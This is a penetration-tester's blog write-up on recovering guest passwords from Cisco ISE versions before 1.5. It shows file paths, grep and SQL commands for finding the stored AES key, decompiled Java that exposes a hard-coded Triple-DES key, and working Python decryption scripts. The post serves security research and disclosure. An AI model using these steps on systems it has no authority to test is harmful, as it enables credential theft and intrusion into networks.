Cisco ISE < 1.5 Passwords decryption

Written by Julien Legras , Aymeric Palhière - 26/08/2020 - in Pentest - Download
Have you ever compromised a Cisco ISE with CVE-2017-5638? But what could you do next? This is a good network access but it can actually give you more.

After a little digging, we found that guests passwords were stored in plaintext or encrypted (configuration dependent). This article explains how to extract the encrypted passwords, the encryption key and why it matters.

How it all started

Exploring the filesystem

After exploiting CVE-2017-5638 during an assessment (yes, in 2019...), we gained access to the internal network of our customer, but then what?

We looked for interesting files that may contain credentials and, eventually, stumbled on /opt/CSCOcpm/redis/profiler_local.rdb, which is a Redis database. Using the rdb tool, it is very easy to convert this database to a JSON file:

$ rdb --command json profiler_local.rdb | python -m json.tool
        "GuestUser:ninjaGuest Users<redacted>": {
[...]
            "password": "toKLScqT6eUsjAf6aAtXcQ==",
            "passwordEncryptionKey": "hJH/AIwyD/UKzxryu1mLvw==",
            "pwdEncrypted": "true",
[...]
        },


Alright, it seemed pretty straightforward as we had a password and a passwordEncryptionKey.

Note: this information is actually stored in the table CEPM.EDF_GUEST_USER of the Oracle database:

SQL> describe CEPM.EDF_GUEST_USER;
 Name					   Null?    Type
 ----------------------------------------- -------- ----------------------------
 EDF_PORTAL_USER_GUID			   NOT NULL VARCHAR2(100)
 EDF_VERSION					    NUMBER
 EDF_CREATE_TIME				    TIMESTAMP(6) WITH TIME ZONE
 EDF_UPDATE_TIME				    TIMESTAMP(6) WITH TIME ZONE
 USER_NAME				   NOT NULL VARCHAR2(350)
 FIRST_NAME					    VARCHAR2(1300)
 LAST_NAME					    VARCHAR2(1300)
 EMAILADDRESS					    VARCHAR2(1300)
 COMPANY					    VARCHAR2(1300)
 PHONE_NUMBER					    VARCHAR2(256)
 PASSWORD					    VARCHAR2(1300)
 PASSWORD_ENCRYPTION_KEY			    VARCHAR2(1300)
 AUP_ACCEPTED					    VARCHAR2(5)
 ENABLED					    VARCHAR2(5)
 LAST_AUP_ACCEPT_TIME				    TIMESTAMP(6) WITH TIME ZONE
 LAST_LOGIN_TIME				    TIMESTAMP(6) WITH TIME ZONE
 FIRST_LOGIN_TIME				    TIMESTAMP(6) WITH TIME ZONE
 LAST_PASSWORD_RESET_TIME			    TIMESTAMP(6) WITH TIME ZONE
 CREATION_TIME					    TIMESTAMP(6) WITH TIME ZONE
 STATUS_DATE					    TIMESTAMP(6) WITH TIME ZONE
 STATUS_REASON					    VARCHAR2(2000)
 ATTEMPTED_FAIL_LOGINS				    NUMBER
 GUEST_TYPE_ID					    VARCHAR2(100)
 SPONSOR_USER_ID				    VARCHAR2(100)
 VALID_DAYS					    NUMBER
 FROM_DATE					    TIMESTAMP(6) WITH TIME ZONE
 TO_DATE					    TIMESTAMP(6) WITH TIME ZONE
 GUEST_LOCATION_ID				    VARCHAR2(100)
 SMS_SERVER_ID					    VARCHAR2(100)
 SSID						    VARCHAR2(1300)
 GROUP_TAG					    VARCHAR2(1300)
 GUEST_STATUS					    VARCHAR2(25)
 REASON_FOR_VISIT				    VARCHAR2(1300)
 PERSON_BEING_VISITED				    VARCHAR2(2000)
 SENT_PRE_EXPRTN_NOTIFICATION			    VARCHAR2(5)
 AUTH_STORE_NAME				    VARCHAR2(100)
 AUTH_STORE_GUID				    VARCHAR2(100)
 SELF_REG_PORTALID				    VARCHAR2(100)
 OWN_PASSWORD				   NOT NULL NUMBER(1)
 NOTIFICATION_LANGUAGE_ID			    VARCHAR2(100)

Initial attempt to decrypt passwords

We tried regular encryption algorithms (AES, DES, etc.) with various modes but still, nothing worked.

So, we extracted some JARs to find how these passwords were encrypted. When a user tries to log in, a POST request is performed on /portal/LoginSubmit.action, and after a lot of JARs, we finally arrive in the UserIdentityManagement class (in nsf-1.4.0-253.jar):

package com.cisco.cpm.nsf.impl;
...
public class UserIdentityManagement
  implements IUserIdentityManagement
{
...
 public void authenticateUsernamePassword(String paramString1, String paramString2)
    throws NSFAuthenticationFailed
  {
    INSFUser localINSFUser = null;
    try
    {
      gLogger.trace("Inside method UserIdentityManagement::authenticateUsernamePassword");
      if (paramString1 == null) {
        throw new NSFAuthenticationFailed("User name is mandatory");                                    // OK paramString1 is the username
      }
      if (paramString2 == null) {
        throw new NSFAuthenticationFailed("Password is mandatory");                                     // OK paramString2 is the password
      }
      NSFAdminServiceFactory localNSFAdminServiceFactory = NSFAdminServiceFactory.getInstance();
      
      localINSFUser = localNSFAdminServiceFactory.getNSFUser();
      localINSFUser = localINSFUser.retrieveFromCache(paramString1);
      if (localINSFUser == null)
      {
        gLogger.debug("Username: {} does not exist", paramString1);
        throw new NSFAuthenticationFailed("This user is not in the system");
      }
      if (!localINSFUser.getEnabled()) {
        throw new NSFAuthenticationFailed("This user is not allowed");
      }
      String str1 = localINSFUser.getPassword();
      
      byte[] arrayOfByte1 = localINSFUser.getEncryptionKey();                                           // OK arrayOfByte1 is the passwordEncryptionKey
      
      Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
      IvParameterSpec localIvParameterSpec = new IvParameterSpec(arrayOfByte1);                         // so passwordEncryptionKey is actually an IV
      localCipher.init(1, skeySpec, localIvParameterSpec);                                              // skeySpec????
      byte[] arrayOfByte2 = localCipher.doFinal(paramString2.getBytes());
      
      BASE64Encoder localBASE64Encoder = new BASE64Encoder();
      String str2 = localBASE64Encoder.encode(arrayOfByte2);
      
      BASE64Decoder localBASE64Decoder = new BASE64Decoder();
      localBASE64Decoder.decodeBuffer(str1);
      if (!str2.equals(str1))
      {
        gLogger.debug("Passwords do not match");
        throw new NSFAuthenticationFailed("Wrong password");
      }
      gLogger.debug("Username: {} : had been authenticated", paramString1);
    }
    catch (Exception localException)
    {
      gLogger.warn("Authentication Failed - " + localException.getMessage());
      throw new NSFAuthenticationFailed(localException);
    }
  }

As we can see, a variable named skeySpec is used as the decryption key. It is actually initialized in a static block:

static
  {
    try
    {
      byte[] arrayOfByte = NSFAdminUtil.getEncryptionKey("aesKey");
      skeySpec = new SecretKeySpec(arrayOfByte, "AES");
      if (isRemote()) {
        scheduleWriteJob();
      }
    }

Let's see the NSFAdminUtil.getEncryptionKey method:

  public static byte[] getEncryptionKey(String paramString)
    throws NSFEntityAttributeException
  {
    try
    {
      NSFAdminServiceFactory localNSFAdminServiceFactory = NSFAdminServiceFactory.getInstance();
      INSFResource localINSFResource = null;
      try
      {
        localINSFResource = localNSFAdminServiceFactory.getNSFResource();
      }
      catch (Exception localException2)
      {
        throw new NSFEntityAttributeException(localException2);
      }
      if (!localINSFResource.exists(paramString)) {
        setEncryptionKey(paramString);
      }
      localINSFResource = localINSFResource.retrieveEntity(paramString);        // the key is retrieved here
      return getKeyDataFromText(localINSFResource.getDescription());
    }
    catch (NSFEntityAttributeException localNSFEntityAttributeException)
    {
      throw localNSFEntityAttributeException;
    }
    catch (Exception localException1)
    {
      throw new NSFEntityAttributeException(localException1);
    }
  }

And from there, it starts to be hard to keep track of all the Java factories and stuff. Ain't nobody got time for that!

Extracting the AES key

We know that some aesKey is supposed to be extracted somewhere. A good place to start is the database (Oracle).

Without a real reverse shell, we just went for the strings | grep style which actually worked pretty fast:

# strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
aesKey$e5f9bfc0-e96b-11e4-a30a-005056bf01c9,52x*****************************************xJ0=

But if you are lucky and you have a proper access to the database:

SELECT SEC_RES_DESC FROM CEPM.SEC_RES_MASTER WHERE SEC_RES_NAME like 'aesKey';
52x*****************************************xJ0=

Alright, let's write a small python script to decrypt our credentials:

from Crypto.Cipher import AES
import argparse 
import base64


def _unpad(s):
        print(repr(s))
        return s[:-ord(s[len(s)-1:])]

def aes_decrypt(key, data, iv):
        cipher = AES.new(key,AES.MODE_CBC, iv)
        return _unpad(cipher.decrypt(data))

def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("iv", help="passwordEncryptionKey (base64)")
        parser.add_argument("data", help="password (base64)")

        args = parser.parse_args()
        # The key may change, strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
        key = base64.decodebytes(b"52x*****************************************xJ0=")

        print(aes_decrypt(key, base64.decodebytes(args.data.encode('utf-8')), base64.decodebytes(args.iv.encode('utf-8'))))


if __name__ == '__main__':
        main()

And we try to decrypt our password:

$ python step1.py hJH/AIwyD/UKzxryu1mLvw== toKLScqT6eUsjAf6aAtXcQ==
'$\xa6\xa2+@\x1d\xc3>\xc6\x07h\xb8\xc1\xa9\x1e '

Hmmmm still not working. Let's go back to our JARs collection. In fact, we missed an important line in NSFAdminUtil.getEncryptionKey:

      localINSFResource = localINSFResource.retrieveEntity(paramString);
      return getKeyDataFromText(localINSFResource.getDescription());            // this line

The getKeyDataFromText method performs some decryption routine:

  static byte[] getKeyDataFromText(String paramString)
    throws NSFEntityAttributeException
  {
    try
    {
      IEncryptor localIEncryptor = EncryptorFactory.getEncryptor("crypt");
      String str = localIEncryptor.decrypt(paramString);
      
      BASE64Decoder localBASE64Decoder = new BASE64Decoder();
      if (paramString != null) {
        return localBASE64Decoder.decodeBuffer(str);
      }
      throw new NSFEntityAttributeException("Encryption key is null in database");
    }
    catch (NSFEntityAttributeException localNSFEntityAttributeException)
    {
      throw localNSFEntityAttributeException;
    }
    catch (Exception localException)
    {
      throw new NSFEntityAttributeException(localException);
    }
  }

The EncryptorFactory is located in the PSP-Commons-1.4.0.121.jar file. The getEncryptor method returns an instance of com.cisco.epm.auth.encryptor.crypt.DefaultCryptEncryptor:

package com.cisco.epm.auth.encryptor.crypt;
...
public class DefaultCryptEncryptor
  implements IEncryptor
{
  private static String encryptionKey = "ASDF asdf 1234 8983 jklasdf J2Jaf8"; // oopsy
...
  public String decrypt(String plainText)
    throws BadPasswordException, Exception
  {
    try
    {
      String encryptionScheme = "DESede";
      encrypter = new Crypt(encryptionScheme, encryptionKey);
    }
    catch (Exception e) {}
    if (plainText == null) {
      throw new BadPasswordException("Insufficient Password Cannot allow null");
    }
    return encrypter.decrypt(plainText);
  }

So the AES key is encrypted with a hard-coded DES key? Really? Well, there is only one way to be sure:

from Crypto.Cipher import AES
from Crypto.Cipher import DES3
import argparse 
import base64


def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

def aes_decrypt(key, data, iv):
        cipher = AES.new(key,AES.MODE_CBC, iv)

        return _unpad(cipher.decrypt(data))

def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("iv", help="passwordEncryptionKey (base64)")
        parser.add_argument("data", help="password (base64)")

        args = parser.parse_args()
        # The key may change, strings /opt/oracle/base/oradata/cpm10/cpm01.dbf | grep aesKey
        key = base64.decodebytes(b"52x*****************************************xJ0=")
        cipher = DES3.new("ASDF asdf 1234 8983 jklasdf J2Jaf8"[:24], DES3.MODE_ECB)
        key = cipher.decrypt(key)

        print(aes_decrypt(base64.decodebytes(key), base64.decodebytes(args.data.encode('utf-8')), base64.decodebytes(args.iv.encode('utf-8'))))


if __name__ == '__main__':
        main()

And:

$ python decrypt.py hJH/AIwyD/UKzxryu1mLvw== toKLScqT6eUsjAf6aAtXcQ==
9x****#(

It worked!

 

Conclusion

This technique can be useful in Red Team or Wi-Fi assessments as you will probably gain credentials to directly attack the internal network. In our case, multiple credentials were valid on the Windows domain.

Also, the extracted AES key is masked as we still don't know if the value is the same for every Cisco ISE installation or not (and we are interested to know actually, ping us if you extract one that looks the same or not!).

However, it is important to note that Cisco changed the way they store passwords in earlier versions of ISE (> 1.5) and, thus, the demonstrated technique will not be applicable.